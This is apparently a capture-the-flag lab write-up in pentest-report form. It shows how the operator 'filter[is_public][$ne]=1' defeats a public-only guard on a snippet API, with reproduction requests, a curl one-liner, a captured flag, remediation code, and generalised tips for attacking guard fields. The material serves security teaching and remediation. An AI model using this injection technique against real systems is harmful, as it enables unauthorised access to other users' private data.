BugForge — 2026.07.19

CopyPasta: Query-Operator Injection Bypasses a Public-Only Visibility Guard

BugForge Query-Operator Injection Authorization Bypass easy

Part 1: Pentest Report

Executive Summary

CopyPasta is a snippet-sharing application backed by a Node.js/Express JSON API. Its public snippet list endpoint enforces a server-side visibility guard (is_public=1) and also accepts a filter object supplied by the client in query-string bracket notation. Supplying a query operator on the guard field itself, filter[is_public][$ne]=1, neutralizes that visibility constraint, so an ordinary authenticated request returns private snippets belonging to other users, including an administrator’s private infrastructure runbook.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Query-operator injection neutralizes the is_public visibility guard High * 6.5 CWE-639, CWE-943 GET /api/snippets/public

* The High label reflects mass cross-user disclosure of all users’ private data, including administrator secrets. The raw CVSS v3.1 math with PR:L (a valid low-privilege account is required) is 6.5, which falls in the Medium band; the label is escalated on impact. If self-registration is open on the platform, PR:N raises the vector to 7.5 (High), which lands the number cleanly in the High band.

The finding is a single-request read that crosses a data-ownership boundary: our low-privilege account (id 5, haxor) reads private snippets owned by admin (id 1) and pythonista (id 3). The administrator’s disclosed record contains an internal runbook describing production database credential rotation and bastion access, and the private records carry a flag key confirming the boundary was crossed.


Objective

Read past the endpoint’s public-only snippet guardrail and capture the flag delivered on the private records.


Scope / Initial Access

# Target Application
URL: https://lab-1784420019701-kgkh7z.labs-app.bugforge.io

# Auth details
Bearer JWT (HS256), provided: {"id":5,"username":"haxor"}
Low-privilege account. No elevated role is needed for the finding.

The provided token is accepted on the API. The finding requires only a valid bearer token, not any specific role or ownership relationship to the disclosed data.


Reconnaissance: Mapping the public list endpoint and its filter surface

The endpoint documents itself. Snippet id 8 is a docs entry describing the filter parameter (filter[language]=python, filter[title]=...) and stating that the endpoint “only ever lists snippets that are marked public.” A no-filter baseline read established the normal response shape before any injection was attempted.

Facts that shaped the test plan:

  1. GET /api/snippets/public accepts a filter object in query-string bracket notation (filter[field]=value), documented in snippet id 8 for narrowing the list by stored fields.
  2. The baseline (no filter) returns 7 snippets, ids {1,2,3,5,6,7,8}, all with is_public=1. Ids 4 and 9 are absent from the public set.
  3. The endpoint’s own documentation states it lists only public snippets, so a visibility guard is applied on the server independent of the client filter.
  4. The operator form filter[field][$op]=value is honored at the query layer ($ne confirmed), which is what made an operator on the guard field worth testing.

Application Architecture

Component Detail
Backend Node.js / Express JSON API
Auth Bearer JWT (HS256)
Data model Snippet store: id, user_id, title, code, language, is_public, share_code (UUID), like/comment counts
Query filter filter parameter parsed into nested objects via query-string bracket notation; operator form filter[field][$ne]=v is honored at the query layer
Database Not determined (no source access)

API Surface

Endpoint Method Auth Notes
/api/snippets/public GET Bearer JWT Lists is_public=1 snippets; accepts filter[...] params

Known Users (observed in responses)

Username ID Role
haxor 5 Our account (low-privilege)
admin 1 Administrator (owns private “infra runbook”)
pythonista 3 User (owns private “Password Generator”)
coder123 2 User
webdev 4 User

Attack Chain Visualization

┌────────────────────┐     ┌────────────────────┐     ┌────────────────────┐     ┌────────────────────┐
│ Authenticated GET  │     │ Inject operator on │     │ Guard neutralized: │     │ Cross-user private │
│ /snippets/public   │ ──▶ │ the guard field:   │ ──▶ │ is_public=0 rows   │ ──▶ │ data disclosed +   │
│ 7 public rows      │     │ filter[is_public]  │     │ now returned       │     │ flag in extra key  │
│ (ids 4,9 withheld) │     │ [$ne]=1            │     │ (ids 4, 9)         │     │ (admin runbook)    │
└────────────────────┘     └────────────────────┘     └────────────────────┘     └────────────────────┘

Findings

F1: Query-operator injection neutralizes the is_public visibility guard

Severity: High (label escalated above the 6.5 PR:L math on mass cross-user disclosure of administrator data; PR:N if self-registration is open yields 7.5. See the Executive Summary footnote.) CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) Endpoint: GET /api/snippets/public Authentication required: Yes (any valid low-privilege bearer JWT)

Description

The public snippet list endpoint applies a server-side visibility guard (is_public=1) and also accepts a filter object supplied by the caller in query-string bracket notation (filter[field]=value, filter[field][$op]=value). Supplying the operator form filter[is_public][$ne]=1 causes the response to include records with is_public=0, meaning the visibility guard no longer excludes private snippets. Because the client controls a filter operator acting on the same field the guard uses, the server-enforced constraint is neutralized from an ordinary authenticated request.

The exact query builder was not observed (no source access). Notably, plain-value override (filter[is_public]=0) and filter[id][$gt]=0 both returned nothing, while only the $ne operator form defeated the guard, so the behavior is not a simple object spread-merge. The root cause is stated at the request/response level only: the $ne operator on the guard field reaches the query layer and the visibility constraint is not enforced independently of the client filter.

Impact

Any authenticated user can read private snippets belonging to other users, including an administrator’s private infrastructure runbook.

Reproduction

Step 1: Baseline read (establish the public set)

GET /api/snippets/public HTTP/2
Host: lab-1784420019701-kgkh7z.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response: 200, 7 snippets (ids 1,2,3,5,6,7,8), all is_public=1. No flag key is present. Ids 4 and 9 are absent.

Step 2: Inject the operator on the guard field

GET /api/snippets/public?filter[is_public][$ne]=1 HTTP/2
Host: lab-1784420019701-kgkh7z.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response: 200, 9 snippets. Two additional records are now present, both owned by principals other than our account (id 5, haxor):

  • id 9, user_id 1 (admin), is_public=0, title “infra runbook (private)”
  • id 4, user_id 3 (pythonista), is_public=0, title “Password Generator”

The two captures differ in content length (4127 vs 5330) and ETag, confirming distinct responses.

Step 3: Extract the flag

Each disclosed private record carries a flag key absent from the baseline response, and the administrator record’s code field holds the internal runbook:

{
  "id": 9,
  "user_id": 1,
  "title": "infra runbook (private)",
  "code": "# CopyPasta infrastructure ... Steps for rotating the production database\n# credentials, on-call access, and the staging bastion host. Kept private\n# to the admin account.",
  "is_public": 0,
  "username": "admin",
  "flag": "bug{WijzsZT3PClby4W4fDyq9hV08rF08hVj}"
}

Equivalent one-liner:

curl -sk -G "$BASE/api/snippets/public" \
  --data-urlencode 'filter[is_public][$ne]=1' \
  -H "Authorization: Bearer $JWT"

Flag: bug{WijzsZT3PClby4W4fDyq9hV08rF08hVj}

Remediation

Fix 1: Enforce the visibility guard independent of the client filter, and allow-list filterable fields

The is_public=1 constraint must be applied on the server in a way the request filter cannot override, and the client filter object should be validated against an allow-list of filterable fields that excludes is_public and any other authorization-relevant column.

// BEFORE (Vulnerable): illustrative; exact query builder not observed.
// The client filter is translated through an operator map and applied to the
// query alongside the guard, so an operator on the guard field (is_public)
// reaches the query and neutralizes the intended visibility constraint.
// (Simplified: the observed endpoint ignored a plain filter[is_public]=0 and
// honored only the filter[is_public][$ne]=1 operator form, so the real builder
// is narrower than a plain object spread. The fix below holds either way.)
app.get('/api/snippets/public', auth, async (req, res) => {
  const where = applyOperatorFilter({ is_public: 1 }, req.query.filter); // operator on is_public wins
  const rows = await db.snippets.find(where);
  res.json(rows);
});

// AFTER (Secure)
const FILTERABLE = new Set(['language', 'title', 'search']);

app.get('/api/snippets/public', auth, async (req, res) => {
  const raw = req.query.filter || {};
  const filter = {};
  for (const key of Object.keys(raw)) {
    if (FILTERABLE.has(key)) filter[key] = sanitizeValue(raw[key]); // plain values only
  }
  // Visibility guard applied last, outside the object the client controls, so it
  // cannot be overridden or dropped by any supplied key or operator.
  const rows = await db.snippets.find({ ...filter, is_public: 1 });
  res.json(rows);
});

Additional recommendations:

  • Reject or ignore $-prefixed operator keys on fields that are not explicitly meant to accept operators, and never on authorization-relevant columns (is_public, user_id, deleted).
  • Apply the same allow-list and fixed-guard pattern to any other list endpoints that accept a filter object. The write-side sink and the per-snippet share_code direct-fetch path were not tested and may share the pattern.
  • Do not attach authorization-relevant values to records returned to the client; the flag key rode along on the disclosed private rows.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: the server-side visibility guard is bypassable via a filter operator the client controls, letting any authenticated user read other users’ private records.
  • A03:2021 Injection: the operator form filter[is_public][$ne]=1 injects a query operator that alters the intended query semantics.

Tools Used

Tool Purpose
curl Issuing the baseline and operator-injection requests
jq / grep Inspecting JSON responses and diffing the baseline against the bypass capture

References


Part 2: Notes / Knowledge

Key Learnings

  • On a guard-enforced list endpoint that also accepts a filter object, attack the guard field with an operator; don’t select the hidden rows. When an endpoint enforces a visibility or ownership constraint (is_public=1, owner_id=me, deleted=0) and also lets you pass a filter object, that guard is combined with your filter, so selecting the hidden rows by id can never survive it. The move that works is to target the guard field itself: send filter[is_public][$ne]=1 to neutralize the constraint rather than filter[id][$in]=<hidden> to request the rows. On this engagement the id-selection attempts returned nothing while the operator on is_public returned every private snippet. The reframe (attack the guard, not the data) is stack-agnostic and applies to any filter-object surface: NoSQL $-operators, Sequelize/Knex operator maps, query-string bracket parsing.

  • When a crafted filter or query returns empty, pull the unfiltered baseline before mutating the payload. An empty result set is ambiguous: it can mean the injection syntax failed, or that the rows you asked for are legitimately excluded upstream by a guard you have not accounted for. Fetch the endpoint with no filter first and diff the returned set against what you were selecting. Here the initial filter[id][$in]=4,9 looked broken, but the baseline showed ids 4 and 9 simply are not in the public set, which reframed the goal from “fix the $in syntax” to “defeat is_public.” Mutating syntax when the real problem is an upstream guard chases the wrong hypothesis.

  • When a filter param supports operators, probe several operator forms of the guard field before calling the filter path dead. An operator map can be narrower than a plain spread-merge: it may honor $ne while silently ignoring the plain value and $gt on the same field. Treat a single-form miss as one untested combination, not proof the filter is inert. On this endpoint filter[is_public]=0 and filter[id][$gt]=0 both returned nothing, while filter[is_public][$ne]=1 returned everything, all on the same parameter. Probe the plain value plus $ne, $gt, $lt, and $in before concluding the filter cannot be bent.


Failed Approaches

Approach Result Why It Failed
Select private rows by id: filter[id][$in]=4,9 [] (empty) The is_public=1 guard is combined with the filter; a private id cannot satisfy is_public=1
Request a known-public id: filter[id]=8 [] (empty) Plain-value equality on id was not honored on this endpoint
Plain-value guard override: filter[is_public]=0 [] (empty) The plain-value form did not override the guard; only the $ne operator form did
Numeric operator on id: filter[id][$gt]=0 [] (empty) The $gt form was not honored here, unlike $ne

Tags: #broken-access-control #authorization-bypass #query-operator-injection #idor #bugforge #webapp Document Version: 1.0 Last Updated: 2026-07-19

#broken-access-control #authorization-bypass #query-operator-injection #idor #bugforge